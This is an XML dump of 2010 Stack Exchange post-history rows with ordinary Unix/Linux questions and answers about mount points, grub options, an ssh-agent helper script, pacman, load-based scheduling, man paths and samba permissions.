  <row Id="4060" PostHistoryTypeId="2" PostId="1988" RevisionGUID="fad589b7-5e0e-4596-bad5-a9637d3c704d" CreationDate="2010-09-13T19:19:14.987" UserId="1620" Text="I don't think you should be using `/mnt` in this way. According to the [Filesystem Hierarchy Standard][1];&#xD;&#xA;&#xD;&#xA;&gt; This directory is provided so that the system administrator may temporarily mount a filesystem as needed. The content of this directory is a local issue and should not affect the manner in which any program is run.&#xD;&#xA;&#xD;&#xA;&gt; This directory must not be used by installation programs: a suitable temporary directory not in use by the system must be used instead.&#xD;&#xA;&#xD;&#xA;A permanent mount, specified in `fstab`, should go somewhere else.&#xD;&#xA;&#xD;&#xA;Note that current Ubuntu systems use subdirectories in `/media` for removable disks, and `/mnt` is always left as an empty directory for manual, one-off mounts. I suspect that Ubuntu is enforcing this, or at least facilitating it, by deleting and recreating it on each startup.&#xD;&#xA;&#xD;&#xA;I suggest you create a new root-level directory `/network` and put your permanent network mounts in there. You may be able to get away with putting them in `/media`, but it's probably better to leave that for use by the system. Using `/network` as the prefix nicely labels yours as network drives.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pathname.com/fhs/pub/fhs-2.3.html#MNTMOUNTPOINTFORATEMPORARILYMOUNT" />
  <row Id="4061" PostHistoryTypeId="5" PostId="1988" RevisionGUID="3a252a6c-1953-48d7-93f1-d3b9ed315346" CreationDate="2010-09-13T19:24:15.817" UserId="1620" Comment="Suggest using desktop bookmarks instead of fstab" Text="I don't think you should be using `/mnt` in this way. According to the [Filesystem Hierarchy Standard][1];&#xD;&#xA;&#xD;&#xA;&gt; This directory is provided so that the system administrator may temporarily mount a filesystem as needed. The content of this directory is a local issue and should not affect the manner in which any program is run.&#xD;&#xA;&#xD;&#xA;&gt; This directory must not be used by installation programs: a suitable temporary directory not in use by the system must be used instead.&#xD;&#xA;&#xD;&#xA;A permanent mount, specified in `fstab`, should go somewhere else.&#xD;&#xA;&#xD;&#xA;Note that current Ubuntu systems use subdirectories in `/media` for removable disks, and `/mnt` is always left as an empty directory for manual, one-off mounts. I suspect that Ubuntu is enforcing this, or at least facilitating it, by deleting and recreating it on each startup.&#xD;&#xA;&#xD;&#xA;I suggest you create a new root-level directory `/network` and put your permanent network mounts in there. You may be able to get away with putting them in `/media`, but it's probably better to leave that for use by the system. Using `/network` as the prefix nicely labels yours as network drives.&#xD;&#xA;&#xD;&#xA;You should also ask yourself whether setting up a permanent SMB mount is the right thing to do. Modern desktop environments like KDE and GNOME allow you to bookmark network shares and accessing them becomes a single click or menu selection. The username and password for the share can then be stored in the user's keychain. This is much better than putting names and passwords into `fstab`, which can be read by anyone.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pathname.com/fhs/pub/fhs-2.3.html#MNTMOUNTPOINTFORATEMPORARILYMOUNT" />
  <row Id="4062" PostHistoryTypeId="2" PostId="1989" RevisionGUID="b9e2715a-68b4-4ada-b634-97ee965ccf8d" CreationDate="2010-09-13T19:34:32.657" UserId="1620" Text="Look for the `defoptions=` and `altoptions=` lines beginning with `##` in your `menu.lst` file. These specify options to be used when the menu entries are first created by installing a new kernel. No need to edit the file afterwards.&#xD;&#xA;&#xD;&#xA;For a one-off change, you can make temporary edits to the options directly in grub, by entering the &quot;edit commandline&quot; mode." />
  <row Id="4063" PostHistoryTypeId="5" PostId="1989" RevisionGUID="4dedd3ea-5843-419c-a0ac-c33605410719" CreationDate="2010-09-13T19:44:02.587" UserId="1620" Comment="Add kopt= and grub2 info" Text="Look for the `kopt=`, `defoptions=` and `altoptions=` lines beginning with `##` in your `menu.lst` file. These specify options to be used when the menu entries are first created by installing a new kernel. No need to edit the file afterwards. You can also update all your existing entries by running `update-grub`.&#xD;&#xA;&#xD;&#xA;For grub2, the file to edit is `/etc/default/grub`, and the same command to update.&#xD;&#xA;&#xD;&#xA;For a one-off change, you can make temporary edits to the options directly in grub, by entering the &quot;edit commandline&quot; mode." />
  <row Id="4068" PostHistoryTypeId="2" PostId="1991" RevisionGUID="77b781e6-95be-42f0-a593-f64b6b9ad630" CreationDate="2010-09-13T20:27:13.387" UserId="138" Text="&gt; Here's a nickel, kid. Get yourself a better computer.&#xD;&#xA;&#xD;&#xA;That line, from an old Dilbert cartoon, is now &lt;a href=&quot;http://tomayko.com/writings/that-dilbert-cartoon&quot;&gt;famous enough&lt;/a&gt; that you don't even need the rest of the cartoon anymore.&#xD;&#xA;&#xD;&#xA;Here it is anyway:&#xD;&#xA;&#xD;&#xA;&lt;img src=&quot;http://farm1.static.flickr.com/87/240803829_9212773615_o.png&quot;&gt;" />
  <row Id="4069" PostHistoryTypeId="16" PostId="1991" RevisionGUID="77b781e6-95be-42f0-a593-f64b6b9ad630" CreationDate="2010-09-13T20:27:13.387" UserId="-1" />
  <row Id="4070" PostHistoryTypeId="2" PostId="1992" RevisionGUID="34d863f2-016d-4522-aa5c-a9ff721a263e" CreationDate="2010-09-13T21:20:28.577" UserId="1036" Text="The following is something I use to manage my ssh agent settings.&#xD;&#xA;&#xD;&#xA;    #!/bin/echo &quot;Must source this:&quot; &#xD;&#xA;    ## Ensure that ~/.ssh/env contains valid values&#xD;&#xA;&#xD;&#xA;    unset SSH_AGENT_PID SSH_ENV_REFRESH&#xD;&#xA;&#xD;&#xA;    [ -r ~/.ssh/env ] &amp;&amp; . ~/.ssh/env&#xD;&#xA;    [ -n &quot;$SSH_AGENT_PID&quot; ]  || {&#xD;&#xA;        # No env file (or it's badly corrupted:&#xD;&#xA;        eval $(ssh-agent &amp;&gt;/dev/null) &amp;&gt; /dev/null&#xD;&#xA;        SSH_ENV_REFRESH=1&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;    # Ping the agent process:&#xD;&#xA;    kill -0 &quot;$SSH_AGENT_PID&quot; &gt;&amp; /dev/null || {&#xD;&#xA;        # No process, so start a new one:&#xD;&#xA;        eval $(ssh-agent &amp;&gt;/dev/null) &amp;&gt; /dev/null&#xD;&#xA;        SSH_ENV_REFRESH=1&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;    ssh-add -l &amp;&gt; /dev/null&#xD;&#xA;    [ &quot;$?&quot; -gt 1 ] &amp;&amp; {&#xD;&#xA;        # Process alive but unable to be contacted&#xD;&#xA;        # for some reason (wedged/defunct process,&#xD;&#xA;        # or damaged/corrupt UNIX domain socket node?)&#xD;&#xA;&#xD;&#xA;        # So kill it:&#xD;&#xA;        kill &quot;$SSH_AGENT_PID&quot; &gt;&amp; /dev/null&#xD;&#xA;        # ... with extreme prejudice if necessary:&#xD;&#xA;        kill -0 &quot;$SSH_AGENT_PID&quot; &gt;&amp; /dev/null \&#xD;&#xA;        || kill kill -9 &quot;$SSH_AGENT_PID&quot; &gt;&amp; /dev/null&#xD;&#xA;&#xD;&#xA;        # ... and start a new one&#xD;&#xA;        eval $(ssh-agent &amp;&gt;/dev/null) &amp;&gt; /dev/null&#xD;&#xA;        SSH_ENV_REFRESH=1&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;    [ -z &quot;$SSH_ENV_REFRESH&quot; ] || {&#xD;&#xA;        # Over-write old env file:&#xD;&#xA;        printenv | grep &quot;^SSH_A&quot; &gt; ~/.ssh/env&#xD;&#xA;        # Append export command:&#xD;&#xA;        echo &quot;export SSH_AGENT_PID SSH_AUTH_SOCK&quot; &gt;&gt; ~/.ssh/env&#xD;&#xA;&#xD;&#xA;        # Load the (null-passphrase) identites into the agent:&#xD;&#xA;        ssh-add  &lt; /dev/null &amp;&gt; /dev/null&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; It's intended to be sourced (`. ~/lib/sshagent.sh`) from _~/.bashrc_ or other login or&#xD;&#xA;shell start-up files ... or even cron jobs.  It works for me but I'm hoping folks here will review it and offer suggestions about any corner cases that I'm missing.&#xD;&#xA;&#xD;&#xA; I used to only run it from ~/.bash_login ... but then I'd find that, in some cases, my shells&#xD;&#xA;wouldn't pick up the settings (X display manager and I think remote ssh non-login sessions ... cases where ssh is called with a command).  In some other cases the old settings would persist and not updated when an agent process was restarted (for whatever reason).  So I run it in _~/.bashrc_ and try to avoid any stray output ... as is recommended for _~/.bashrc_ in general.&#xD;&#xA;&#xD;&#xA;So, are there any evident corner cases or bugs? Would this make sense for something like _/etc/bashrc_?  Is it reasonably portable to other shells? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="4071" PostHistoryTypeId="1" PostId="1992" RevisionGUID="34d863f2-016d-4522-aa5c-a9ff721a263e" CreationDate="2010-09-13T21:20:28.577" UserId="1036" Text="Script for ssh Agent Management: Is this adequate?  Any bugs?" />
  <row Id="4072" PostHistoryTypeId="3" PostId="1992" RevisionGUID="34d863f2-016d-4522-aa5c-a9ff721a263e" CreationDate="2010-09-13T21:20:28.577" UserId="1036" Text="ébashàésshà" />
  <row Id="4073" PostHistoryTypeId="5" PostId="949" RevisionGUID="6b27a821-29ee-4e97-9d7b-cd824caaf2d0" CreationDate="2010-09-13T21:22:22.227" UserId="1036" Comment="one -&gt; own (fix typo)." Text="Note: the .h file doesn't *define* the function.  It's *declared* in that .h file and defined (implemented) elsewhere.  This allows the compiler to include information about the function's signature (prototype) to allow type checking of arguments  and match the return types to any calling contexts in your code.&#xD;&#xA;&#xD;&#xA;In general .h (header) files in C are used to declare functions and define macros.&#xD;&#xA;&#xD;&#xA;`mkdir` in particular is a system call.  There may be a GNU *libc* wrapper around that system call (almost certainly is, in fact).  The true kernel implementation of `mkdir` can be found by searching the kernel sources and the system calls in particular.&#xD;&#xA;&#xD;&#xA;Note that there will also be an implementation of some sort of directory creation code for each filesystem.  The VFS (virtual filesystem) layer provides a common API which the system call layer can call into.  Every filesystem must register functions for the VFS layer to call into.  This allows different filesystems to implement their own semantics for how directories are structured (for example if they are stored using some sort of hashing scheme to make searching for specific entries more efficient).  I mention this because you're likely to trip over these filesystem specific directory creation functions if you're searching the Linux kernel source tree." />
  <row Id="4074" PostHistoryTypeId="5" PostId="1968" RevisionGUID="e78cd5a5-e770-4f4d-94b2-e4d44bef5609" CreationDate="2010-09-13T21:30:45.897" UserId="4" Comment="added 91 characters in body" Text="VNC will share an entire desktop from a remote system. It requires a full-fledged desktop on the remote system.&#xD;&#xA;&#xD;&#xA;ssh -X allows you to run single X application from a remote server. The remote system does not need to be running a complete desktop, and you often only need a handful of packages to be installed on the remote system.&#xD;&#xA;&#xD;&#xA;`ssh -X` can be useful when installing complex software packages over a remote connection. Some software products may use a GUI installer (Oracle Database, etc). I don't want to install and a full-fledged Gnome desktop on my remote server. So, you install one or two X11 packages (Xauth?) on the remote server, and allow the DBA to run the Oracle installer remotely using something simple like 'ssh -X /media/cdrom/oracle-installer'." />
  <row Id="4075" PostHistoryTypeId="2" PostId="1993" RevisionGUID="2422f500-ef84-4ad6-bfdc-d374921dc420" CreationDate="2010-09-13T21:48:40.087" UserId="1327" Text="I have a package that's installed on my PC as an dependency to another package.&#xD;&#xA;&#xD;&#xA;I would like to have the package explicitly installed, but without actually re-installing it, or downloading any files.&#xD;&#xA;&#xD;&#xA;Is this possible?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4076" PostHistoryTypeId="1" PostId="1993" RevisionGUID="2422f500-ef84-4ad6-bfdc-d374921dc420" CreationDate="2010-09-13T21:48:40.087" UserId="1327" Text="Make package explicitly installed in pacman" />
  <row Id="4077" PostHistoryTypeId="3" PostId="1993" RevisionGUID="2422f500-ef84-4ad6-bfdc-d374921dc420" CreationDate="2010-09-13T21:48:40.087" UserId="1327" Text="éarchölinuxàépacmanàépackageömanagementà" />
  <row Id="4079" PostHistoryTypeId="2" PostId="1995" RevisionGUID="47ccbd8e-a1fc-42e5-bc3b-60670ab65f86" CreationDate="2010-09-13T21:57:42.140" UserId="29" Text="Why are you writing your own? why not use a handy dandy little product called `keychain`?&#xD;&#xA;&#xD;&#xA;Here's [Gentoo's Keychain Guide][1] &#xD;&#xA;&#xD;&#xA;It's basically a  little program that allows you to use password protected keys, without typing the password all the time. (It should be available on whatever distro you're using)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/doc/en/keychain-guide.xml" />
  <row Id="4080" PostHistoryTypeId="5" PostId="1995" RevisionGUID="8575f19b-7042-4a85-961c-afd68a440d79" CreationDate="2010-09-13T22:11:44.877" UserId="29" Comment="add links to Gentoo's Open SSH Key Managemen" Text="Why are you writing your own? why not use a handy dandy little product called `keychain`?&#xD;&#xA;&#xD;&#xA;Here's [Gentoo's Keychain Guide][1] &#xD;&#xA;&#xD;&#xA;It's basically a  little program that allows you to use password protected keys, without typing the password all the time. (It should be available on whatever distro you're using)&#xD;&#xA;&#xD;&#xA;You may also be interested in Gentoo's Open SSH Key Management series: [part 1][2], [part 2][3], and [part 3][4]. Which looks like it includes some things that you're trying to do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/doc/en/keychain-guide.xml&#xD;&#xA;  [2]: http://www.gentoo.org/doc/en/articles/openssh-key-management-p1.xml&#xD;&#xA;  [3]: http://www.gentoo.org/doc/en/articles/openssh-key-management-p2.xml&#xD;&#xA;  [4]: http://www.gentoo.org/doc/en/articles/openssh-key-management-p3.xml" />
  <row Id="4081" PostHistoryTypeId="5" PostId="1995" RevisionGUID="85a8ea23-e34f-4e62-9e34-b845d3cfda32" CreationDate="2010-09-13T22:16:57.087" UserId="29" Comment="add link to funtoo keychain docs" Text="Why are you writing your own? why not use a handy dandy little product called `keychain`?&#xD;&#xA;&#xD;&#xA;Here's [Gentoo's Keychain Guide][1] (possibly newer version of [same article on Funtoo][2])&#xD;&#xA;&#xD;&#xA;It's basically a  little program that allows you to use password protected keys, without typing the password all the time. (It should be available on whatever distro you're using)&#xD;&#xA;&#xD;&#xA;You may also be interested in Gentoo's Open SSH Key Management series: [part 1][3], [part 2][4], and [part 3][5]. Which looks like it includes some things that you're trying to do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/doc/en/keychain-guide.xml&#xD;&#xA;  [2]: http://www.funtoo.org/en/security/keychain/intro/&#xD;&#xA;  [3]: http://www.gentoo.org/doc/en/articles/openssh-key-management-p1.xml&#xD;&#xA;  [4]: http://www.gentoo.org/doc/en/articles/openssh-key-management-p2.xml&#xD;&#xA;  [5]: http://www.gentoo.org/doc/en/articles/openssh-key-management-p3.xml" />
  <row Id="4082" PostHistoryTypeId="2" PostId="1996" RevisionGUID="0fa3c26c-7ec9-439e-a756-3ef99c039e3b" CreationDate="2010-09-13T22:19:39.607" UserId="1327" Text="So **cron** or **at** can schedule our commands to the exact *time* we need them to run, but is there a way to **schedule** commands for when our systems are **inactive**?&#xD;&#xA;&#xD;&#xA;Something like:&#xD;&#xA;&#xD;&#xA;    echo &quot;some_commands&quot; | when 'cpu &lt; 15%' " />
  <row Id="4083" PostHistoryTypeId="1" PostId="1996" RevisionGUID="0fa3c26c-7ec9-439e-a756-3ef99c039e3b" CreationDate="2010-09-13T22:19:39.607" UserId="1327" Text="Scheduling commands by system inacivity" />
  <row Id="4084" PostHistoryTypeId="3" PostId="1996" RevisionGUID="0fa3c26c-7ec9-439e-a756-3ef99c039e3b" CreationDate="2010-09-13T22:19:39.607" UserId="1327" Text="écommandölineàéschedulingà" />
  <row Id="4085" PostHistoryTypeId="2" PostId="1997" RevisionGUID="3fb6e99e-0ad2-473a-a807-0bf29068be8e" CreationDate="2010-09-13T22:57:14.443" UserId="29" Text="hmmm... I don't think so... but what you could do is cron a script to run like every 5 minutes and check the *load average* to see if it's acceptably low. I wouldn't check the *current* because you could get the cpu in between 2 really high peaks. This is just thoughts on what I'd do to accomplish this, but there might be a better way." />
  <row Id="4086" PostHistoryTypeId="5" PostId="1988" RevisionGUID="c08558a8-f77e-45fb-9f27-1e0b41f75eed" CreationDate="2010-09-13T23:24:32.130" UserId="1620" Comment="Move bookmark comments to a separate answer" Text="I don't think you should be using `/mnt` in this way. According to the [Filesystem Hierarchy Standard][1];&#xD;&#xA;&#xD;&#xA;&gt; This directory is provided so that the system administrator may temporarily mount a filesystem as needed. The content of this directory is a local issue and should not affect the manner in which any program is run.&#xD;&#xA;&#xD;&#xA;&gt; This directory must not be used by installation programs: a suitable temporary directory not in use by the system must be used instead.&#xD;&#xA;&#xD;&#xA;A permanent mount, specified in `fstab`, should go somewhere else.&#xD;&#xA;&#xD;&#xA;Note that current Ubuntu systems use subdirectories in `/media` for removable disks, and `/mnt` is always left as an empty directory for manual, one-off mounts. I suspect that Ubuntu is enforcing this, or at least facilitating it, by deleting and recreating it on each startup.&#xD;&#xA;&#xD;&#xA;I suggest you create a new root-level directory `/network` and put your permanent network mounts in there. You may be able to get away with putting them in `/media`, but it's probably better to leave that for use by the system. Using `/network` as the prefix nicely labels yours as network drives.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pathname.com/fhs/pub/fhs-2.3.html#MNTMOUNTPOINTFORATEMPORARILYMOUNT" />
  <row Id="4087" PostHistoryTypeId="2" PostId="1998" RevisionGUID="a8836f84-6433-4e9b-a633-6d6403126ffc" CreationDate="2010-09-13T23:25:15.203" UserId="1620" Text="Is setting up a permanent SMB mount really the right thing to do? Modern desktop environments like KDE and GNOME allow you to bookmark network shares and accessing them becomes a single click or menu selection. The username and password for the share can then be stored in the user's keychain. This is much better than putting names and passwords into `fstab`, which can be read by anyone.&#xD;&#xA;" />
  <row Id="4088" PostHistoryTypeId="2" PostId="1999" RevisionGUID="9a9ead09-befe-4b6c-9a53-fb096001856a" CreationDate="2010-09-13T23:28:52.637" UserId="1207" Text="Well, one portability issue in your script is the user of `&amp;&gt; /dev/null` to redirect both stdout and stderr.  This is a bashism and won't necessarily work on other shells. (I was recently bitten by this one.)  The more portable way is to use `&gt; /dev/null 2&gt;&amp;1`.  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="4089" PostHistoryTypeId="2" PostId="2000" RevisionGUID="a580714c-51c2-40bc-960c-26c975a731a5" CreationDate="2010-09-13T23:33:50.443" UserId="1207" Text="On many systems the at daemon is configured such that the `batch` command will run a command when the system drops below a certain load.  However, this may not give you the fine grained control you are looking for." />
  <row Id="4090" PostHistoryTypeId="5" PostId="1999" RevisionGUID="7f463042-9ff4-4d1f-a77b-f679b29f2169" CreationDate="2010-09-13T23:36:33.680" UserId="1207" Comment="deleted 7 characters in body" Text="One portability issue in your script is the use of `&amp;&gt; /dev/null` to redirect both stdout and stderr.  This is a bashism and won't necessarily work on other shells. (I was recently bitten by this one.)  The more portable way is to use `&gt; /dev/null 2&gt;&amp;1`.  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="4091" PostHistoryTypeId="6" PostId="1970" RevisionGUID="999b6513-f9f0-4ff1-b9a3-24c1db9e12d2" CreationDate="2010-09-13T23:40:54.940" UserId="29" Comment="seems like a filesystems question to me... not a driver" Text="éfilesystemsàéusbàéflashàémountà" />
  <row Id="4092" PostHistoryTypeId="4" PostId="1996" RevisionGUID="cdd4432a-83d2-4a01-a6d1-91e55ec3e7a6" CreationDate="2010-09-13T23:43:55.167" UserId="29" Comment="spelling correction" Text="Scheduling commands by system inactivity" />
  <row Id="4093" PostHistoryTypeId="2" PostId="2001" RevisionGUID="75f5c303-9923-43b7-93b3-48d3cea45040" CreationDate="2010-09-13T23:44:35.723" UserId="1465" Text="The default pager for reading a man page is `less`. There is documentation on `less` [here][1].&#xD;&#xA;&#xD;&#xA;In particular:&#xD;&#xA;&#xD;&#xA;Scroll up/down by one page: b/space&#xD;&#xA;Scroll up/down by half a page: u/d&#xD;&#xA;Searching forwards/backwards: `/` or `?`, then type a regular expression, then then hit n to go to the next match or shift-n to go to the previous match. Add an @ before the regular expression to search from the start.&#xD;&#xA;&#xD;&#xA;  [1]: http://unixhelp.ed.ac.uk/CGI/man-cgi?less" />
  <row Id="4094" PostHistoryTypeId="16" PostId="2001" RevisionGUID="75f5c303-9923-43b7-93b3-48d3cea45040" CreationDate="2010-09-13T23:44:35.723" UserId="-1" />
  <row Id="4095" PostHistoryTypeId="2" PostId="2002" RevisionGUID="82aef3f3-7dda-4db6-9ac0-a5f91c71e66c" CreationDate="2010-09-14T00:09:41.420" UserId="29" Text="" />
  <row Id="4096" PostHistoryTypeId="2" PostId="2003" RevisionGUID="c5c66382-c1f9-4b98-8643-108193f20218" CreationDate="2010-09-14T00:09:41.420" UserId="29" Text="The interactive interface too your shell" />
  <row Id="4097" PostHistoryTypeId="5" PostId="1855" RevisionGUID="f8a67672-eeb1-4b9f-8eb7-cb24acb28708" CreationDate="2010-09-14T00:36:08.253" UserId="4" Comment="added 93 characters in body" Text="Most of us set the PATH variable. This will show you how to automatically make the man search path match your command search PATH.&#xD;&#xA;&#xD;&#xA;Say you append your path to include your personal, work-specific and locally-installed utilities, like `export PATH=$PATH:~/bin:/workgroup/bin:/opt/local/bin:`. As a side effect, `man foo` won't show the manpages stored at ~/man , /workgroup/man or /opt/local/man .&#xD;&#xA;&#xD;&#xA;To resolve this, I use the `manpath` command to automatically set the man page search path. For example, my ~/.bashrc has the following. This works for me on a hundred different systems running everything from FreeBSD 4.x, Darwin and CentOS 5:&#xD;&#xA;&#xD;&#xA;    ### PATH &amp; MANPATH&#xD;&#xA;    # My personal utilities&#xD;&#xA;    export PATH=$PATH:$HOME/bin&#xD;&#xA;    &#xD;&#xA;    ### Set the manpath based on the PATH, after man(1) parses man.conf&#xD;&#xA;    # - No need to modify man.conf or manually modify MANPATH_MAP&#xD;&#xA;    # - Works on Linux, FreeBSD &amp; Darwin, unlike /etc/manpaths.d/&#xD;&#xA;    # See &quot;SEARCH PATH FOR MANUAL PAGES&quot; in man(1)&#xD;&#xA;    # Just set the man search path. Don't print output to screeen.&#xD;&#xA;    manpath &gt;/dev/null&#xD;&#xA;&#xD;&#xA;Some systems (Like Apple Leopard) set the MANPATH automatically, but that means that your system will use the MANPATH variable instead of using `manpath`. As a result, man pages for 'MacPorts' (/opt/local/man) are ignored. I want to control this myself, so I unset MANPATH:&#xD;&#xA;&#xD;&#xA;    unset MANPATH&#xD;&#xA;    manpath &gt;/dev/null&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4098" PostHistoryTypeId="2" PostId="2004" RevisionGUID="a2d14711-a7f1-4160-b24e-2d8b0dcafbea" CreationDate="2010-09-14T01:32:26.277" UserId="1574" Text="I'm assuming this is for a Unix flavor OS, but in case you're interested in a Windows-based solution, I've used Microsoft Mesh, which is a free tool for syncing a variety of files and folders over a series of computers. Another cool feature is the ability to access this &quot;cloud&quot; (their term, not mine) via a web interface. It comes in handy when you're on a remote computer that is not synced, but you would like to access/download certain files." />
  <row Id="4099" PostHistoryTypeId="5" PostId="1996" RevisionGUID="fd9b26bb-afa7-45fe-af68-e314724544b6" CreationDate="2010-09-14T02:58:42.787" UserId="73" Comment="deleted 10 characters in body" Text="So `cron` or `at` can schedule our commands to the exact time we need them to run, but is there a way to schedule commands for when our systems are **inactive**?&#xD;&#xA;&#xD;&#xA;Something like:&#xD;&#xA;&#xD;&#xA;    echo &quot;some_commands&quot; | when 'cpu &lt; 15%' " />
  <row Id="4100" PostHistoryTypeId="2" PostId="2005" RevisionGUID="e0a0ceff-d24a-4f63-bfbc-82022ed5d8a4" CreationDate="2010-09-14T03:30:11.963" UserId="1672" Text="`pacman -S` has a `--asexplicit` flag that should do what you want.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    &gt; pacman -Qi mutagen            &#xD;&#xA;    ...&#xD;&#xA;    Install Reason : Installed as a dependency for another package&#xD;&#xA;&#xD;&#xA;    &gt; pacman -S --asexplicit mutagen&#xD;&#xA;    warning: mutagen-1.20-1 is up to date -- reinstalling&#xD;&#xA;    resolving dependencies...&#xD;&#xA;    looking for inter-conflicts...&#xD;&#xA;&#xD;&#xA;    Targets (1): mutagen-1.20-1&#xD;&#xA;&#xD;&#xA;    Total Download Size:    0.00 MB&#xD;&#xA;    Total Installed Size:   0.82 MB&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;    &gt; pacman -Qi mutagen&#xD;&#xA;    ...&#xD;&#xA;    Install Reason : Explicitly installed&#xD;&#xA;&#xD;&#xA;You can see that nothing was downloaded since it is already installed locally. It just flipped the &quot;Install Reason&quot; field. &#xD;&#xA;&#xD;&#xA;Pacman has different &quot;--help&quot; operations depending on the operation (-S, -R, etc.). So `pacman -S --help` lists the `--asexplicit` flag as one of the available flags. `--asdeps` is available as well." />
  <row Id="4101" PostHistoryTypeId="5" PostId="2005" RevisionGUID="faa7d5b2-1e16-456b-a607-b6ec9ad4706d" CreationDate="2010-09-14T03:35:57.477" UserId="1672" Comment="added 4 characters in body" Text="`pacman -S` has a `--asexplicit` flag that should do what you want.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    &gt; pacman -Qi mutagen            &#xD;&#xA;    ...&#xD;&#xA;    Install Reason : Installed as a dependency for another package&#xD;&#xA;&#xD;&#xA;    &gt; pacman -S --asexplicit mutagen&#xD;&#xA;    warning: mutagen-1.20-1 is up to date -- reinstalling&#xD;&#xA;    resolving dependencies...&#xD;&#xA;    looking for inter-conflicts...&#xD;&#xA;&#xD;&#xA;    Targets (1): mutagen-1.20-1&#xD;&#xA;&#xD;&#xA;    Total Download Size:    0.00 MB&#xD;&#xA;    Total Installed Size:   0.82 MB&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;    &gt; pacman -Qi mutagen&#xD;&#xA;    ...&#xD;&#xA;    Install Reason : Explicitly installed&#xD;&#xA;&#xD;&#xA;You can see that nothing was downloaded since it is already installed locally. It just flipped the &quot;Install Reason&quot; field. &#xD;&#xA;&#xD;&#xA;Pacman has different `--help` operations depending on the operation (`-S`, `-R`, etc.). So `pacman -S --help` lists the `--asexplicit` flag as one of the available flags. `--asdeps` is available as well." />
  <row Id="4102" PostHistoryTypeId="2" PostId="2006" RevisionGUID="858b68aa-442b-4c29-910d-17e81c5cd1d0" CreationDate="2010-09-14T03:39:01.030" UserId="692" Text="I have a problem where permission bits are not being enforced on a samba share using a Linux client. I have samba configured on the server to force a certain user, group and permission bits and this works as expected until I touch the file it becomes the target of IO redirection.&#xD;&#xA;&#xD;&#xA;Here's what's happening:&#xD;&#xA;&#xD;&#xA;    user@linuxbox:~--&gt;ls -l ~/archive/foo.txt&#xD;&#xA;    ls: cannot access /home/user/archive/foo.txt: No such file or directory&#xD;&#xA;    user@linuxbox:~--&gt;touch ~/archive/foo.txt&#xD;&#xA;    user@linuxbox:~--&gt;ls -l ~/archive/foo.txt&#xD;&#xA;    -rw-rw-r-- 1 archive archive 0 2010-09-13 20:29 /home/user/archive/foo.txt&#xD;&#xA;    user@linuxbox:~--&gt;touch ~/archive/foo.txt&#xD;&#xA;    user@linuxbox:~--&gt;ls -l ~/archive/foo.txt&#xD;&#xA;    -rwxrwxrwx 1 archive archive 0 2010-09-13 20:30 /home/user/archive/foo.txt&#xD;&#xA;&#xD;&#xA;Notice when I touch the existing file its permission bits are 0777. They're supposed to be 0664 like when it was first created. How can I enforce 0664 on the existing file?&#xD;&#xA;" />
  <row Id="4103" PostHistoryTypeId="1" PostId="2006" RevisionGUID="858b68aa-442b-4c29-910d-17e81c5cd1d0" CreationDate="2010-09-14T03:39:01.030" UserId="692" Text="Permission bits not being enforced on samba share." />
  <row Id="4104" PostHistoryTypeId="3" PostId="2006" RevisionGUID="858b68aa-442b-4c29-910d-17e81c5cd1d0" CreationDate="2010-09-14T03:39:01.030" UserId="692" Text="élinuxàépermissionsàésambaà" />
  <row Id="4105" PostHistoryTypeId="5" PostId="2006" RevisionGUID="fa47c33b-0b20-49d8-8718-d049daa22e4e" CreationDate="2010-09-14T04:13:06.847" UserId="692" Comment="added 3 characters in body" Text="I have a problem where permission bits are not being enforced on a samba share using a Linux client. I have samba configured on the server to force a certain user, group and permission bits and this works as expected until I touch the file or it becomes the target of IO redirection.&#xD;&#xA;&#xD;&#xA;Here's what's happening:&#xD;&#xA;&#xD;&#xA;    user@linuxbox:~--&gt;ls -l ~/archive/foo.txt&#xD;&#xA;    ls: cannot access /home/user/archive/foo.txt: No such file or directory&#xD;&#xA;    user@linuxbox:~--&gt;touch ~/archive/foo.txt&#xD;&#xA;    user@linuxbox:~--&gt;ls -l ~/archive/foo.txt&#xD;&#xA;    -rw-rw-r-- 1 archive archive 0 2010-09-13 20:29 /home/user/archive/foo.txt&#xD;&#xA;    user@linuxbox:~--&gt;touch ~/archive/foo.txt&#xD;&#xA;    user@linuxbox:~--&gt;ls -l ~/archive/foo.txt&#xD;&#xA;    -rwxrwxrwx 1 archive archive 0 2010-09-13 20:30 /home/user/archive/foo.txt&#xD;&#xA;&#xD;&#xA;Notice when I touch the existing file its permission bits are 0777. They're supposed to be 0664 like when it was first created. How can I enforce 0664 on the existing file?&#xD;&#xA;" />
  <row Id="4106" PostHistoryTypeId="2" PostId="2007" RevisionGUID="df705c61-3e85-4456-b347-b3d09aad6983" CreationDate="2010-09-14T06:34:54.553" UserId="1608" Text="Hello all,&#xD;&#xA;&#xD;&#xA;I want to fetch user's login time and login date, is there any command in Unix providing User's login date and User's login time ? " />
  <row Id="4107" PostHistoryTypeId="1" PostId="2007" RevisionGUID="df705c61-3e85-4456-b347-b3d09aad6983" CreationDate="2010-09-14T06:34:54.553" UserId="1608" Text="User's Login date and login time" />
  <row Id="4108" PostHistoryTypeId="3" PostId="2007" RevisionGUID="df705c61-3e85-4456-b347-b3d09aad6983" CreationDate="2010-09-14T06:34:54.553" UserId="1608" Text="éunixàéloginà" />
